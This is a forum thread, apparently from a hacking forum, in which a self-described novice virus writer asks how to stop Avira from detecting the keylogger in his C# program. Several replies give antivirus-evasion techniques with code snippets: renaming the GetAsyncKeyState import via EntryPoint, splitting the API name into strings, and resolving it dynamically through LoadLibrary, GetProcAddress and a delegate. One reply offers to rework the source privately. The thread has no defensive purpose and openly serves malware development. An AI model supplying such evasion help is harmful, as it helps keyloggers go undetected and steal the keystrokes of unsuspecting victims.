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Thread: [C-sharp refud help - Keylogger 1 detection](#)

CASP3R - December 24, 2018, 7:25 am

Hello, I recently started developing viruses. today i added a simple keylogger to my program. Then i got 1 detection by the 1 and only Avira. Now after ages of figuring out what it was. Its this 1 line of code -

```
"public static extern int GetAsyncKeyState(Int32 i);"
```

Then i figured out its just the GetAsyncKeyState. Is there a way a rename the call method? I have tried multiple ways but nothing. Any help is appreciated! Thank you. ?

Best regards CASPER

gigajew - December 24, 2018, 11:47 am

Change the name of it. Then in the DllImport attribute type EntryPoint = "GetAsyncKeyState"

Or pm me source and I'll modify it for you

StarZ - December 25, 2018, 2:38 pm

Change:

```
Code [DllImport("User32.dll")]
```

To:

```
Code [DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]
```

for gigajew's suggestion. Then rename the function to something like:

```
Code public static extern int randomFunctionLikeSetCursor(Int32 i)
```

CASP3R - December 26, 2018, 11:48 am

(Dec 24, 2018 12:47 PM)gigajew Wrote: [\[CITE\]](#) Change the name of it. Then in the DllImport attribute type EntryPoint = "GetAsyncKeyState"

Or pm me source and I'll modify it for you

Still get the detection sadly i even tried [DllImport("User32.dll", EntryPoint = "GetAsync" + "Key"+"State")]

HFDone - December 26, 2018, 12:25 pm

```
[DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]
```

```
public static extern int GetKey(Int32 i);
```

CASP3R - December 26, 2018, 2:12 pm

(Dec 26, 2018 01:25 PM)HFDone Wrote: [\[CITE\]](#) [DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]

```
public static extern int GetKey(Int32 i);
```

Already tried man.. the AV looks for a match with the keyword GetAsyncKeyState

Paskowsky - December 26, 2018, 3:50 pm

This is not going to work... You have to dynamically import and call api

Take a look at LoadLibrary and GetProcAddress api calls.

Code `IntPtr ptr = GetProcAddress(LoadLibrary("user.dll"), "GetAsyncKeyState");`
Then you need a delegate with the function signature of `GetAsyncKeyState`

Code `public delegate int GAK(int i);`
Now you join the two binding the ptr to the delegate

Code `GAK gak = (GAK)Marshal.GetDelegateForFunctionPointer(ptr, typeof(GAK));`
Then you call your delegate as it was your function.